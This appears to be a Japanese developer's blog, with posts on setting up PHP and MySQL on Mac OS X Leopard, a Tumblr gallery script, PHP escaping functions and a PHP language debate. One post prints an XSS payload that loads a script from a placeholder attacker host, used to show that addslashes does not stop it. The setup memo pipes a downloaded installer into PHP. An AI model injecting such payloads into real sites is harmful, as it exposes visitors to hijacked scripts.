MacOSX Leopard + Flex + PHP + MySQLの設定メモ 1
MacOSXのローカルサイト(http://localhost/~USERNAME/)でFlexアプリケーションからPHP経由でMySQLと通信するまでに必要な諸設定について。文章が長くなったので今回はFlexとの連携直前の下準備まで。
About my Mac
MacOSX 10.5.3 (Intel Core 2 Duo)
必要なもの
3と4は必須ではないけど有った方が断然便利。
- Apache(webサーバー)
- MySQL(データベース)
- phpMyAdmin(MySQLを操作するwebアプリケーション)
- PEARパッケージ(PHP用モジュール)
- Flexアプリケーションが動作する環境(Flex Builder, Flex SDK etc.)
1. Apache
最初からMac OSXにはインストールされているので、PHPが動作するように設定をするだけ。ただし設定ファイル(httpd.conf)の在処がOSX 10.5から変更されている(参考: Mac OS X 10.5 Leopard で PHP を動作させるには − kazumich.log)。
/etc/httpd/httpd.conf (OSX 10.4) -> /etc/apache2/httpd.conf (OSX 10.5)
httpd.conf内の以下の行のコメントアウト#をはずす。
#LoadModule php5_module libexec/apache2/libphp5.so
以下のコマンドでApacheを再起動しhttpd.confの設定を反映させる。(この後何回も行う重要なコマンド)
sudo apachectl restart
次にMacのシステム環境設定 > ネットワーク共有からWeb共有を有効にする。これで自分のローカルサイト(http://localhost/~USERNAME/)でPHP5が動作するようになる。試しに「~/Sites/」直下に以下を記述したファイルをindex.phpとして保存(Finderだと「書類 > サイト」)。
<?php echo ‘Hello world’; ?>
ブラウザでhttp://localhost/~USERNAME/index.phpにアクセスして「Hello world」と表示されたらOK。
2. MySQL
MySQL :: MySQL Downloadsより本体をダウンロード。Mac OSX 10.5用には32bit環境用(x86)と64bit環境用(x86_64)が用意されているので必要な方を。僕はx86_64をダウンロードした。PowerPCの場合はPowerPC専用と明記されたものを使わないとダメかもしれません。
MySQL本体とStartupItemsの両方をインストール。ターミナルより以下を指定でMySQLサーバが起動。
sudo /Library/StartupItems/MySQLCOM/MySQLCOM start
試しにコマンドラインで以下を指定してMySQLと通信できればOK。
mysql -u root
MySQLが起動していないとこういうエラーが出る。
Can't connect to local MySQL server through socket '/tmp/mysql.sock'
rootユーザーにパスワードを設定する場合はMySQLと通信した状態でターミナルより以下のように指定。
mysql> UPDATE user SET password = PASSWORD('********') WHERE user = 'root';
これで次回のMySQLログイン時にパスワード入力が必要になる。アクセスは「mysql -u root -p」。
3. phpMyAdmin
必須ではないけどGUIとしてスタンダードだしある方が断然便利。phpMyAdmin | MySQL Database Administration Tool | www.phpmyadmin.netより最新のパッケージをダウンロード。ただのPHPファイル群なのでMacがどうこうってものはない。解凍したフォルダ名を例えば「phpMyAdmin」にして例えば「~/Sites/」直下にフォルダごと移動(Finderだと「書類 > サイト」)。
フォルダ内のconfig.inc.phpファイル(またはそれに準じた名前のファイルを”config.inc.php”に修正)内に以下のような記述を加える。Authentication Typeはパスワード制にした(cockieを使う方法もある)。パスワードは先ほどrootユーザーに付与したもの。extentionの項はMySQL 4.1.2以上用のmysqli (improved MySQL)とした(mysqlでもok)。これでwebブラウザからhttp://localhost/~USERNAME/phpMyAdmin/にアクセスすると常時rootユーザーでMySQLと通信することになる。
$cfg['pmaAbsoluteUri'] = 'http://localhost/~USERNAME/phpMyAdmin/'; $cfg['Servers'][$i]['auth_type'] = 'config'; $cfg['Servers'][$i]['user'] = 'root'; $cfg['Servers'][$i]['password'] = '******'; $cfg['Servers'][$i]['extension'] = 'mysqli';
毎回パスワードを要求させるのであれば上記の一部を以下のように記述。
$cfg['Servers'][$i]['auth_type'] = 'http'; $cfg['Servers'][$i]['user'] = ''; $cfg['Servers'][$i]['password'] = '';
次にPHPが参照するMySQLソケットパスを実際のMySQLソケットパスとに合わせてやる。この時点でhttp://localhost/~USERNAME/phpMyAdmin/にアクセスしてphpMyAdminが動作するのであれば通信が正しく行えている状態なので修正は必要ない。MySQLのソケットパスはMySQLと通信した状態でターミナルより確認できる。
mysql> status;
ソケットパスは僕の場合以下のようになっていた。
UNIX socket: /tmp/mysql.sock
次にPHPが参照しているMySQLソケットパスは、phpinfo()で確認できる。先ほど”Hello world”を書いたindex.phpに以下のように記述して実行すればok。
<?php phpinfo(); ?>
表示される情報の下の方にPHPが参照しているmysql(mysqli)ソケットパスが表示されているはず。僕の場合は以下のようになっていた。
MYSQL_SOCKET /var/mysql/mysql.sock mysql.default_socket no value MYSQLI_SOCKET /var/mysql/mysql.sock mysqli.default_socket no value
これらを修正するためにphp.iniファイルを修正する。コマンドラインより
sudo pico /etc/php.ini
ファイル内部のMySQL (MySQLi)の項目にMySQLの実際のソケットパス(ここでは/tmp/mysql.sock)を記述。
mysql.default_socket = /tmp/mysql.sock mysqli.default_socket = /tmp/mysql.sock
Apacheを再起動(sudo apachectl restart)してphpinfo()で確認する。先ほど”mysql.default_socket no value (mysqli.default_socket no value)”となっていた箇所が設定できていればOK。phpMyAdminにアクセスできるはず。
4. PEAR
これも絶対必須ではないけど、例えばDBモジュールだとデータベースのバージョン変化だったりに柔軟に対応できるので便利。まずインストーラーのダウンロード。ターミナルより
sudo curl http://pear.php.net/go-pear | php
どこにインストールするか聞かれるので番号を押しながら設定(参考: 素晴らしき哉、人生!: Mac OS 10.5にpearをインストール)。デフォルトだと「~/Documents」直下にインストールになる(参考: Mac OS Xで動かす軽量プログラミング言語 − @IT)。僕は前者に従って以下のように設定した。
1. Installation prefix ($prefix) : /usr/share/PEAR 2. Temporary files directory : $prefix/temp 3. Binaries directory : /usr/bin 4. PHP code directory ($php_dir) : $prefix 5. Documentation base directory : $php_dir/docs 6. Data base directory : $php_dir/data 7. Tests base directory : $php_dir/tests
上記の例の場合pearコマンドは「/usr/bin/」にインストールされるので、自分の環境設定ファイルにパスを通しておくと後々便利。
pico ~/.profile
ファイル内に以下のように記述。
export PATH="$PATH:/usr/bin"
PEARパッケージ内の情報は以下のコマンドで取得できる。
pear list
DBパッケージをインストール。上記の例の場合「/usr/share/PEAR/」配下にDB.phpがインストールされる。
sudo pear install -a DB
PEARパッケージをインストールした時点で「/etc/php.ini」の最後尾に以下のような記述が追加されているはず(なければ追加記述する)。
;***** Added by go-pear include_path=".:/usr/share/PEAR" ;*****
php.iniファイルを反映させてから(sudo apachectl restart)、試しにDB.phpをインクルードしてみる。適当なphpファイルを作り以下のように記述してから実行。
<?php require_once(‘DB.php’); ?>
エラーが出なければパスが通っている証拠。これでFlex以外の環境は整いました。次回へつづく
[Tumblr][PHP]自サイトにTumblrフォトギャラリーを設置
完成品がこちら。どうだエロいだろう。PHPで作る必要があるのかと言われると、うーん。たぶんJavaScriptオンリーでTumblr情報取得->画像表示とするのがスマートなのかな。
以下ファイルを設定・実行すると画像表示に必要なhtml(下記例では”photo_table.php”)を書き出すので、それを表示したい場所にincludeすればOK。書き出しを定期的に自動で行わせたい場合はCRON等を使用。下記コードではLightbox2の利用を想定しているので、書き出したファイルのimgタグ内にrel=”lightbox”という属性が付く。不要であれば適宜除去。XML解析にはSimpleXMLというモジュールを使用しているのでPHP5以上が必要。
ファイルの設定箇所
- TumblrのUSERIDを設定(http://USERID.tumblr.com)
- 取得ポスト数を設定
- ポストの種類を設定(フォトギャラリーを作成するなら再設定不要)
- ギャラリーのサムネイルサイズを設定(75, 100, 250, 400, 500のみ)
- サムネイルクリックで表示される画像サイズの設定(75, 100, 250, 400, 500のみ)
- 書き出しファイルの名前(と必要であればファイルパス)。デフォルトでは同じディレクトリに作成。ファイル書き出しを行うので書き出し先ディレクトリに書き込み権限を与えることを忘れずに。
<?php //(1) Set your Tumblr ID define(‘USER_ID’, ‘borealkiss’); //(2) Set the maximum item number define(‘MAX_NUM’, ‘30′); //(3) Set the post type. //You don’t need to change as long as you are making a photo gallery. define(‘POST_TYPE’, ‘photo’); //(4) Choose the thumbnail size of each image (75,100,250,400, or 500) define(‘THUMBNAIL_SIZE’, ‘75′); //(5) Choose the image size in the gallery (75,100,250,400, or 500) define(‘GALLERY_SIZE’, ‘400′); //(6) Define a file name for image tabels define(‘FILENAME’, ‘photo_table.php’); $fp_out = fopen(FILENAME, ‘w’); $req1 = ‘num=’.MAX_NUM; $req2 = ‘type=’.POST_TYPE; $req_url = ‘http://’.USER_ID.‘.tumblr.com/api/read?’.$req1.‘&’.$req2; $xml = simplexml_load_file($req_url); foreach ($xml->posts->post as $post){ //get the attribute $permalink = $post[‘url’]; foreach ($post->{‘photo-url’} as $url){ foreach ($url->attributes() as $key=>$value){ if ($key == ‘max-width’ && $value == GALLERY_SIZE){ fwrite($fp_out, ‘<a href="’.$url.‘" rel="lightbox" title="’.$permalink.‘">’); } else if ($key == ‘max-width’ && $value == THUMBNAIL_SIZE){ fwrite($fp_out, ‘<img src="’.$url.‘" border="0"/></a>’); } } } } fclose($fp_out); ?>
[関連リンク]
Tumblr API reference (JP)
[PHP]ActionScriptの達人もXSS攻撃には疎い
某有名FLASHerさんが珍しくPHPで作品を公開していたので、「へえ、この人PHPも使うんだ」と思いながら、間違えて変なの入力したら(嘘だけど)、以下のようにして入力を扱っている様子。
<?php
echo addslashes($_GET['txt']);
?>
これって一見良さそうだけど以下のようなシングルクオートもダブルクオートも使わないスクリプトは読み込める。クオートなくても動くってのがまず驚きだけどクオートを書かないって発想がさらに驚愕 (参考:XSS (Cross Site Scripting) Cheat Sheet)。
<script src=http://evil.example.com/xxx.js /></script>
読み込んだxxx.jsファイルの中身はaddslashes()の制限を受けないので何でもアリの無法地帯。うまいこと第三者をおびきよせてxxx.jsの中身を読ませることができる。まあただの揚げ足取りなんだけど(でもセキュリティ屋がやってることはこういうことでしょ?)要するに言いたかったことは、このFLASHerさんはActionScriptは(少なくとも僕から見て)達人級であってプログラムを書くこと自体には熟練しているということ。ほんとにプログラミングゼロからの人間にセキュリティを気にしろって言うのは無理があると思っただけ。
[PHP]htmlspecialchars, htmlentitiesのオプション
メモ。
シングル・ダブルクオーテーションに関する動作を示すオプションの第2の引数をとり、無指定でデフォルトはENT_COMPAT(ダブルクオーテーションを変換、シングルクオーテーションを無変換)。ENT_QUOTESでダブルおよびシングルクオーテーションをそれぞれ”、’に変換。
<?php
$text = htmlspecialchars($_POST['text'], ENT_QUOTES);
?>
[Reference]
htmlentities - PHPマニュアル
htmlspecialchars - PHPマニュアル
[PHP]PHPにまつわる小競り合い
(鵜呑み禁止)
はてな界隈で盛り上がってる。僕自身のPHPを学ぶ気力に関わってきそうだったので追尾してたけど、結局[Z]ZAPAブロ〜グ2.0さんの「プログラミング言語は宗教みたいなもの」で全部片付いちゃうんじゃないの。宗教よりも実際の言語間の言い争いかな。信仰と違ってなまじっか客観的に色々指摘できちゃうからこうなる。「日本でしか使えない日本語覚えて効率悪くない?」とか「なんで日本語って文章の最期まで聞かないと結論わかんないの?不便だね」とか言われて逆上してるような感じ。
面白いねプログラミング言語やってる人達って(ごく一部なんだろうけど)。比較惑星学みたいに「比較プログラミング言語学」とかつくっちゃえばいいのに。あーでも惑星やってる連中は仲いいよ。「月冷えきっちゃってんじゃん」とか「金星ってプレート運動ないの?うわ、だせえ」とかならない。メインの研究対象以外あんまり興味を持たないってのもあるかもだけど。
事の発端。Rubyの作者さんなんですね、ビックリ。
特に「PHPは初心者に学びやすい(と言われていることが問題である)」という部分に共感する。 PHPは初心者に簡単かもしれないが、初心者による手を抜いたWebアプリケーションは PHPが作られた当初はともかく、現代では害悪ではないだろうか。Webアプリケーションをなめるな
PHP側。(面白い部分を引用)
まあ、ハッカーというか天才というかとにかく偉い(と周囲に持ち上げられている)人が怪気炎っぽいものをあげて自分の好まないものをこきおろすのは、これまたよくあることではある。
Perl。(意味不明なんで割愛)
PHP側。
プログラミング言語は宗教みたいなもので、好きか嫌いかですぐに論争になります。
ところで下のやつは何がダメなの?切実に理由が知りたいです。
PHP使ってるヤツらって
htmlspecialchars($_GET[’text’]);
こんなコード書いてる!
m9(^Д^)プギャー
ネタのような気もするけどこんなのまであるらしい。面白い。
そしてまだ届かない!!「薄い」ってのに超期待してんだけどなあ。
追記。なるほど。こういうのが知りたかった。PHPの方が人為的ミスが生じやすいわけね。
RubyやPerlでは外部から入力された文字列にtaint(汚染)と呼ばれるマークがつく。 taintされた文字列から加工された文字列にもtaintがつく。これをチェックすることで外部からの入力をチェック(サニタイズ)しないまま危険な操作(ファイル名にする、systemを呼び出す、HTML/SQLに埋めこむ、など)を禁止することができる。
